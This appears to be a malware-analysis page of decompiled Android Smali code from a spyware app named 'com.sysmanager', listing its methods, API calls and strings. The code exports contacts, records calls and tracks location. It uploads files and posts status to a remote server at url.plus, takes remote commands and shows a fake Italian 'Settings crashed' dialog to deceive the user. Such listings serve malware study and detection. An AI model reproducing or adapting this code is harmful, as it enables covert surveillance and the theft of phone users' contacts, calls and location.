30invoke-virtual {v2, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
31goto_23: return-void
32cond_24:
33const-string v1, "false"
34goto/16 :goto_20
35cond_27:
36iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
38const-string v3, "IsScreenOn"
40invoke-virtual {v0}, Landroid/os/PowerManager;->isInteractive()Z
41move-result v1
42if-eqz v1, :cond_37
44const-string v1, "true"
45goto_33:
46invoke-virtual {v2, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
47goto/16 :goto_23
48cond_37:
49const-string v1, "false"
50goto/16 :goto_33
Cross References
APIs
  • com.sysmanager.storage.Settings.getWritableDatabase
  • android.content.ContentValues.<init>
  • java.lang.Integer.valueOf
  • android.content.ContentValues.put
  • android.database.sqlite.SQLiteDatabase.update
  • android.database.sqlite.SQLiteDatabase.insert
  • com.sysmanager.Scontext.getContext
Strings
  • tab1
  • _id = ?
  • 1
Position Instruction Meta Information
0.param p1, "column" # Ljava/lang/String;
1.param p2, "value" # I
2.prologue
3monitor-enter p0
4try_start_1:
5invoke-virtual {p0}, Lcom/sysmanager/storage/Settings;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
6try_end_4: move-result-object v0
7try_start_5: new-instance v2, Landroid/content/ContentValues;
9invoke-direct {v2}, Landroid/content/ContentValues;-><init>()V
11invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
12move-result-object v3
14invoke-virtual {v2, p1, v3}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Integer;)V
16const-string v3, "tab1"
18const-string v4, "_id = ?"
19const/4 v5, 0x1
20new-array v5, v5, [Ljava/lang/String;
21const/4 v6, 0x0
23const-string v7, "1"
24aput-object v7, v5, v6
26invoke-virtual {v0, v3, v2, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->update(Ljava/lang/String;Landroid/content/ContentValues;Ljava/lang/String;[Ljava/lang/String;)I
27move-result v3
28if-nez v3, :cond_29
30const-string v3, "tab1"
31const/4 v4, 0x0
33invoke-virtual {v0, v3, v4, v2}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
34cond_29: monitor-exit p0
35return-void
36catch_2b: move-exception v1
37try_start_2c:
38invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
39move-result-object v3
41invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
42move-result-object v4
44invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
45try_end_37: goto/16 :goto_29
46catchall_38: move-exception v3
47monitor-exit p0
48throw v3
Cross References
APIs
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
  • java.lang.String.isEmpty
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.getName
  • java.lang.String.contains
  • com.sysmanager.system.AndroidFileManager.sendFileThread
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.deletePath
Strings
  • .nomedia
Position Instruction Meta Information
0.param p1, "file2send" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/InterruptedException;
4}
5.end annotation
6.prologue
8invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
9move-result-object v2
11invoke-static {v2}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
12move-result-object v1
14invoke-virtual {v1}, Ljava/lang/String;->isEmpty()Z
15move-result v2
16if-nez v2, :cond_2a
17new-instance v0, Ljava/io/File;
19iget-object v2, p0, Lcom/sysmanager/system/AndroidFileManager;->mOutputDir:Ljava/io/File;
21invoke-direct {v0, v2, p1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
23invoke-virtual {v0}, Ljava/io/File;->exists()Z
24move-result v2
25if-eqz v2, :cond_2b
27invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
28move-result-object v2
30const-string v3, ".nomedia"
32invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
33move-result v2
34if-nez v2, :cond_2b
36invoke-virtual {p0, p1}, Lcom/sysmanager/system/AndroidFileManager;->sendFileThread(Ljava/lang/String;)V
37cond_2a: return-void
38cond_2b:
39invoke-static {p0}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
40move-result-object v2
42iget-object v3, p0, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
44invoke-virtual {v2, v3}, Lcom/sysmanager/storage/FileSend;->deletePath(Ljava/lang/String;)Z
45const/4 v2, 0x0
46iput-boolean v2, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
47goto/16 :goto_2a
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.System.currentTimeMillis
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.sysmanager.system.AndroidSystemLog.getAllPhoneContacts
  • com.sysmanager.system.AndroidSystemLog.getApplicationContext
Strings
  • Contacts_
  • .vcf
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.prologue
2new-instance v1, Ljava/lang/StringBuilder;
4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
6const-string v2, "Contacts_"
8invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
9move-result-object v1
11invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
12move-result-wide v2
14invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
15move-result-object v1
17const-string v2, ".vcf"
19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
20move-result-object v1
22invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
23move-result-object v1
24iput-object v1, p0, Lcom/sysmanager/system/AndroidSystemLog;->mFile:Ljava/lang/String;
25try_start_1f:
26invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemLog;->getAllPhoneContacts()V
27goto_22: return-void
28catch_23: move-exception v0
30invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemLog;->getApplicationContext()Landroid/content/Context;
31move-result-object v1
33invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
34move-result-object v2
36invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
37goto/16 :goto_22
Cross References
APIs
  • java.lang.System.setProperty
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • org.json.JSONObject.<init>
  • com.sysmanager.Scontext.getContext
Strings
  • http://url.plus/app/pro/last.php
  • http.keepAlive
  • false
  • serialnumber
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
2try_start_0:
3const-string v3, "http://url.plus/app/pro/last.php"
5const-string v4, "http.keepAlive"
7const-string v5, "false"
9invoke-static {v4, v5}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
10new-instance v2, Lorg/json/JSONObject;
12invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
14const-string v4, "serialnumber"
16const-string v5, "A70"
18invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
20invoke-static {v3, v2, p0}, Lcom/sysmanager/network/HTTPUtility;->excuteHttpPostServer(Ljava/lang/String;Lorg/json/JSONObject;Landroid/content/Context;)Ljava/lang/String;
21move-result-object v1
22new-instance v4, Lorg/json/JSONObject;
24invoke-direct {v4, v1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
25goto_1e: return-object v4
26catch_1f: move-exception v0
28invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
29move-result-object v4
31invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
32move-result-object v5
34invoke-static {v4, v5}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
35const/4 v4, 0x0
36goto/16 :goto_1e
Cross References
APIs
  • com.sysmanager.MessageManagement.callRecording
  • com.sysmanager.MessageManagement.stopRecording
  • com.sysmanager.MessageManagement.disableGPS
  • com.sysmanager.MessageManagement.disableNET
  • com.sysmanager.MessageManagement.cellaStop
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
Strings
  • col04
  • attivataNO
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
2const/4 v2, 0x0
4invoke-static {p0, v2, v2}, Lcom/sysmanager/MessageManagement;->callRecording(Landroid/content/Context;ZZ)V
6invoke-static {p0, v2}, Lcom/sysmanager/MessageManagement;->stopRecording(Landroid/content/Context;Z)V
8invoke-static {p0, v2}, Lcom/sysmanager/MessageManagement;->disableGPS(Landroid/content/Context;Z)V
10invoke-static {p0, v2}, Lcom/sysmanager/MessageManagement;->disableNET(Landroid/content/Context;Z)V
12invoke-static {p0, v2}, Lcom/sysmanager/MessageManagement;->cellaStop(Landroid/content/Context;Z)V
14invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
15move-result-object v0
17const-string v1, "col04"
19invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
21const-string v0, "attivataNO"
23const-string v1, "A70"
25invoke-static {v0, p0, v1}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
26return-void
Cross References
APIs
  • com.sysmanager.system.AndroidSystemQueues.checkCallingOrSelfPermission
  • com.sysmanager.system.AndroidSystemQueues.getApplicationContext
  • android.location.LocationManager.removeUpdates
  • android.location.LocationManager.requestLocationUpdates
  • com.sysmanager.system.AndroidSystemQueues.stopSelf
  • com.sysmanager.system.AndroidSystemQueues.getApplicationContext
Strings
  • android.permission.ACCESS_FINE_LOCATION
  • gps
  • network
Position Instruction Meta Information
0.prologue
1iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mPlayServicesCurrent:Z
2if-eqz v0, :cond_10
4iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
5if-eqz v0, :cond_10
7iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
9invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->isConnected()Z
10move-result v0
11if-nez v0, :cond_14
12cond_10: iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mPlayServicesCurrent:Z
13if-nez v0, :cond_42
14cond_14:
15const-string v0, "android.permission.ACCESS_FINE_LOCATION"
17invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemQueues;->checkCallingOrSelfPermission(Ljava/lang/String;)I
18move-result v0
19if-nez v0, :cond_5d
20iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mPlayServicesCurrent:Z
21if-eqz v0, :cond_43
23sget-object v0, Lcom/google/android/gms/location/LocationServices;->FusedLocationApi:Lcom/google/android/gms/location/FusedLocationProviderApi;
25iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
27invoke-interface {v0, v2, p0}, Lcom/google/android/gms/location/FusedLocationProviderApi;->removeLocationUpdates(Lcom/google/android/gms/common/api/GoogleApiClient;Lcom/google/android/gms/location/LocationListener;)Lcom/google/android/gms/common/api/PendingResult;
29sget-object v0, Lcom/google/android/gms/location/LocationServices;->FusedLocationApi:Lcom/google/android/gms/location/FusedLocationProviderApi;
31iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
33iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLocationRequest:Lcom/google/android/gms/location/LocationRequest;
35invoke-interface {v0, v2, v3, p0}, Lcom/google/android/gms/location/FusedLocationProviderApi;->requestLocationUpdates(Lcom/google/android/gms/common/api/GoogleApiClient;Lcom/google/android/gms/location/LocationRequest;Lcom/google/android/gms/location/LocationListener;)Lcom/google/android/gms/common/api/PendingResult;
36goto_30: const/4 v0, 0x1
37iput-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mIsLocating:Z
38goto_33: iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mMoveDetection:Z
39if-eqz v0, :cond_61
41invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->getApplicationContext()Landroid/content/Context;
42move-result-object v0
44invoke-static {v0}, Lcom/sysmanager/system/MovementDetector;->getInstance(Landroid/content/Context;)Lcom/sysmanager/system/MovementDetector;
45move-result-object v0
47invoke-virtual {v0}, Lcom/sysmanager/system/MovementDetector;->start()Z
48cond_42: return-void
49cond_43: iget v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mAccuracyRequest:I
50const/16 v2, 0x64
51if-ne v0, v2, :cond_5a
53const-string v1, "gps"
54goto_4b:
55iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLocationManager:Landroid/location/LocationManager;
57invoke-virtual {v0, p0}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
59iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLocationManager:Landroid/location/LocationManager;
60const-wide/16 v2, 0x7530
61const/4 v4, 0x0
62move-object v5, p0
64invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
65goto/16 :goto_30
66cond_5a:
67const-string v1, "network"
68goto/16 :goto_4b
69cond_5d:
70invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->stopSelf()V
71goto/16 :goto_33
72cond_61:
73invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->getApplicationContext()Landroid/content/Context;
74move-result-object v0
76invoke-static {v0}, Lcom/sysmanager/system/MovementDetector;->getInstance(Landroid/content/Context;)Lcom/sysmanager/system/MovementDetector;
77move-result-object v0
79invoke-virtual {v0}, Lcom/sysmanager/system/MovementDetector;->stop()V
80goto/16 :goto_42
Cross References
APIs
  • java.lang.String.isEmpty
  • java.security.cert.CertificateFactory.getInstance
  • java.lang.String.getBytes
  • java.io.ByteArrayInputStream.<init>
  • java.security.cert.CertificateFactory.generateCertificate
  • java.lang.System.currentTimeMillis
  • java.security.cert.X509Certificate.getNotAfter
  • java.util.Date.getTime
Strings
  • X509
Position Instruction Meta Information
0.param p0, "keyPem" # Ljava/lang/String;
1.param p1, "isGw" # Z
2.param p2, "context" # Landroid/content/Context;
3.prologue
4const/4 v2, 0x1
5const/4 v3, 0x0
7invoke-virtual {p0}, Ljava/lang/String;->isEmpty()Z
8move-result v4
9if-eqz v4, :cond_11
11invoke-static {p1, p2}, Lcom/sysmanager/network/HTTPUtility;->getAesKey(ZLandroid/content/Context;)Z
12move-result v4
13if-nez v4, :cond_f
14goto_e: return v2
15cond_f: move v2, v3
16goto/16 :goto_e
17try_start_11:
18const-string v4, "X509"
20invoke-static {v4}, Ljava/security/cert/CertificateFactory;->getInstance(Ljava/lang/String;)Ljava/security/cert/CertificateFactory;
21move-result-object v4
22new-instance v5, Ljava/io/ByteArrayInputStream;
24invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B
25move-result-object v6
27invoke-direct {v5, v6}, Ljava/io/ByteArrayInputStream;-><init>([B)V
29invoke-virtual {v4, v5}, Ljava/security/cert/CertificateFactory;->generateCertificate(Ljava/io/InputStream;)Ljava/security/cert/Certificate;
30move-result-object v1
31check-cast v1, Ljava/security/cert/X509Certificate;
33invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
34move-result-wide v4
36invoke-virtual {v1}, Ljava/security/cert/X509Certificate;->getNotAfter()Ljava/util/Date;
37move-result-object v6
39invoke-virtual {v6}, Ljava/util/Date;->getTime()J
40move-result-wide v6
41cmp-long v4, v4, v6
42if-ltz v4, :cond_3c
44invoke-static {p1, p2}, Lcom/sysmanager/network/HTTPUtility;->getAesKey(ZLandroid/content/Context;)Z
45try_end_39: move-result v4
46if-eqz v4, :cond_e
47cond_3c: move v2, v3
48goto/16 :goto_e
49catch_3e: move-exception v0
51invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
52move-result-object v4
54invoke-static {p2, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
56invoke-static {p1, p2}, Lcom/sysmanager/network/HTTPUtility;->getAesKey(ZLandroid/content/Context;)Z
57move-result v4
58if-eqz v4, :cond_e
59move v2, v3
60goto/16 :goto_e
Cross References
APIs
  • com.sysmanager.storage.FileSend.getReadableDatabase
  • android.database.sqlite.SQLiteDatabase.rawQuery
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.close
  • com.sysmanager.Scontext.getContext
Strings
  • SELECT * FROM tab1 ORDER BY _id ASC
  • col01
Position Instruction Meta Information
0.prologue
1monitor-enter p0
2try_start_1:
3const-string v4, ""
5invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getReadableDatabase()Landroid/database/sqlite/SQLiteDatabase;
6try_end_6: move-result-object v1
7try_start_7:
8const-string v3, "SELECT * FROM tab1 ORDER BY _id ASC"
9const/4 v5, 0x0
11invoke-virtual {v1, v3, v5}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
12move-result-object v0
14invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
15move-result v5
16if-eqz v5, :cond_2b
18invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
19move-result-object v5
21const-string v6, "col01"
23invoke-interface {v0, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
24move-result v6
26invoke-interface {v0, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
27move-result-object v6
29invoke-static {v5, v6}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
30move-result-object v4
31goto_26:
32invoke-interface {v0}, Landroid/database/Cursor;->close()V
33goto_29: monitor-exit p0
34return-object v4
35cond_2b: const/4 v4, 0x0
36goto/16 :goto_26
37catch_2d: move-exception v2
38try_start_2e:
39invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
40move-result-object v5
42invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
43move-result-object v6
45invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
46try_end_39: goto/16 :goto_29
47catchall_3a: move-exception v5
48monitor-exit p0
49throw v5
Cross References
APIs
  • android.content.Context.getSystemService
  • android.app.ActivityManager.getRunningServices
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.Class.getName
  • android.content.ComponentName.getClassName
  • java.lang.String.equals
Strings
  • activity
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/lang/Class",
5"<*>;",
6"Landroid/content/Context;",
7")Z"
8}
9.end annotation
10.prologue
12const-string v2, "activity"
14invoke-virtual {p1, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
15move-result-object v0
16check-cast v0, Landroid/app/ActivityManager;
17const v2, 0x7fffffff
19invoke-virtual {v0, v2}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
20move-result-object v2
22invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
23move-result-object v2
24cond_13:
25invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
26move-result v3
27if-eqz v3, :cond_31
29invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
30move-result-object v1
31check-cast v1, Landroid/app/ActivityManager$RunningServiceInfo;
33invoke-virtual {p0}, Ljava/lang/Class;->getName()Ljava/lang/String;
34move-result-object v3
36iget-object v4, v1, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
38invoke-virtual {v4}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
39move-result-object v4
41invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
42move-result v3
43if-eqz v3, :cond_13
44const/4 v2, 0x1
45goto_30: return v2
46cond_31: const/4 v2, 0x0
47goto/16 :goto_30
Cross References
APIs
  • android.content.Context.getSystemService
  • android.app.ActivityManager.getRunningServices
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.Class.getName
  • android.content.ComponentName.getClassName
  • java.lang.String.equals
Strings
  • activity
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/lang/Class",
5"<*>;",
6"Landroid/content/Context;",
7")Z"
8}
9.end annotation
10.prologue
12const-string v2, "activity"
14invoke-virtual {p1, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
15move-result-object v0
16check-cast v0, Landroid/app/ActivityManager;
17const v2, 0x7fffffff
19invoke-virtual {v0, v2}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
20move-result-object v2
22invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
23move-result-object v2
24cond_13:
25invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
26move-result v3
27if-eqz v3, :cond_31
29invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
30move-result-object v1
31check-cast v1, Landroid/app/ActivityManager$RunningServiceInfo;
33invoke-virtual {p0}, Ljava/lang/Class;->getName()Ljava/lang/String;
34move-result-object v3
36iget-object v4, v1, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
38invoke-virtual {v4}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
39move-result-object v4
41invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
42move-result v3
43if-eqz v3, :cond_13
44const/4 v2, 0x1
45goto_30: return v2
46cond_31: const/4 v2, 0x0
47goto/16 :goto_30
Cross References
APIs
  • com.sysmanager.storage.Settings.getWritableDatabase
  • android.content.ContentValues.<init>
  • android.content.ContentValues.put
  • android.database.sqlite.SQLiteDatabase.update
  • android.database.sqlite.SQLiteDatabase.insert
  • com.sysmanager.Scontext.getContext
Strings
  • tab1
  • _id = ?
  • 1
Position Instruction Meta Information
0.param p1, "column" # Ljava/lang/String;
1.param p2, "value" # Ljava/lang/String;
2.prologue
3monitor-enter p0
4try_start_1:
5invoke-virtual {p0}, Lcom/sysmanager/storage/Settings;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
6try_end_4: move-result-object v0
7try_start_5: new-instance v2, Landroid/content/ContentValues;
9invoke-direct {v2}, Landroid/content/ContentValues;-><init>()V
11invoke-virtual {v2, p1, p2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
13const-string v3, "tab1"
15const-string v4, "_id = ?"
16const/4 v5, 0x1
17new-array v5, v5, [Ljava/lang/String;
18const/4 v6, 0x0
20const-string v7, "1"
21aput-object v7, v5, v6
23invoke-virtual {v0, v3, v2, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->update(Ljava/lang/String;Landroid/content/ContentValues;Ljava/lang/String;[Ljava/lang/String;)I
24move-result v3
25if-nez v3, :cond_25
27const-string v3, "tab1"
28const/4 v4, 0x0
30invoke-virtual {v0, v3, v4, v2}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
31goto_25: monitor-exit p0
32return-void
33catch_27: move-exception v1
34try_start_28:
35invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
36move-result-object v3
38invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
39move-result-object v4
41invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
42try_end_33: goto/16 :goto_25
43catchall_34: move-exception v3
44monitor-exit p0
45throw v3
Cross References
APIs
  • java.io.FileReader.<init>
  • java.io.BufferedReader.<init>
  • java.util.HashMap.<init>
  • java.io.BufferedReader.readLine
  • java.lang.String.contains
  • java.lang.String.split
  • java.util.Map.put
  • com.sysmanager.MessageManagement.parseCommand
Strings
  • =
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "commands" # Ljava/io/File;
2.prologue
3try_start_0: new-instance v3, Ljava/io/BufferedReader;
4new-instance v5, Ljava/io/FileReader;
6invoke-direct {v5, p2}, Ljava/io/FileReader;-><init>(Ljava/io/File;)V
8invoke-direct {v3, v5}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
9new-instance v2, Ljava/util/HashMap;
11invoke-direct {v2}, Ljava/util/HashMap;-><init>()V
12cond_f:
13invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
14move-result-object v1
15if-eqz v1, :cond_36
17const-string v5, "="
19invoke-virtual {v1, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
20move-result v5
21if-eqz v5, :cond_f
23const-string v5, "="
25invoke-virtual {v1, v5}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
26move-result-object v4
27const/4 v5, 0x0
28aget-object v5, v4, v5
29const/4 v6, 0x1
30aget-object v6, v4, v6
32invoke-interface {v2, v5, v6}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
33try_end_2c: goto/16 :goto_f
34catch_2d: move-exception v0
36invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
37move-result-object v5
39invoke-static {p1, v5}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
40goto_35: return-void
41try_start_36:
42invoke-static {p1, v2}, Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)V
43try_end_39: goto/16 :goto_35
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Context.getPackageManager
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
Strings
  • col24
  • callRecordingYES
  • A70
  • callRecordingNO
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "enabled" # Z
2.param p2, "sendFeedback" # Z
3.prologue
4const/4 v3, 0x1
6invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
7move-result-object v4
9const-string v5, "col24"
10if-eqz p1, :cond_2a
11move v2, v3
12goto_a:
13invoke-virtual {v4, v5, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
14if-eqz p2, :cond_18
15if-eqz p1, :cond_2c
17const-string v2, "callRecordingYES"
18goto_13:
19const-string v4, "A70"
21invoke-static {v2, p0, v4}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
22cond_18:
23invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
24move-result-object v1
25new-instance v0, Landroid/content/ComponentName;
26const-class v2, Lcom/sysmanager/CallReceiver;
28invoke-direct {v0, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
29if-eqz p1, :cond_2f
30move v2, v3
31goto_26:
32invoke-virtual {v1, v0, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
33return-void
34cond_2a: const/4 v2, 0x0
35goto/16 :goto_a
36cond_2c:
37const-string v2, "callRecordingNO"
38goto/16 :goto_13
39cond_2f: const/4 v2, 0x2
40goto/16 :goto_26
APIs
  • android.app.Activity.onCreate
  • android.app.AlertDialog$Builder.<init>
  • android.app.AlertDialog$Builder.setMessage
  • android.app.AlertDialog$Builder.setPositiveButton
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.setOnDismissListener
  • android.app.AlertDialog.show
  • android.app.AlertDialog$Builder.<init>
Strings
  • L\'applicazione Impostazioni si \u00e8 bloccata in modo anomalo
Position Instruction Meta Information
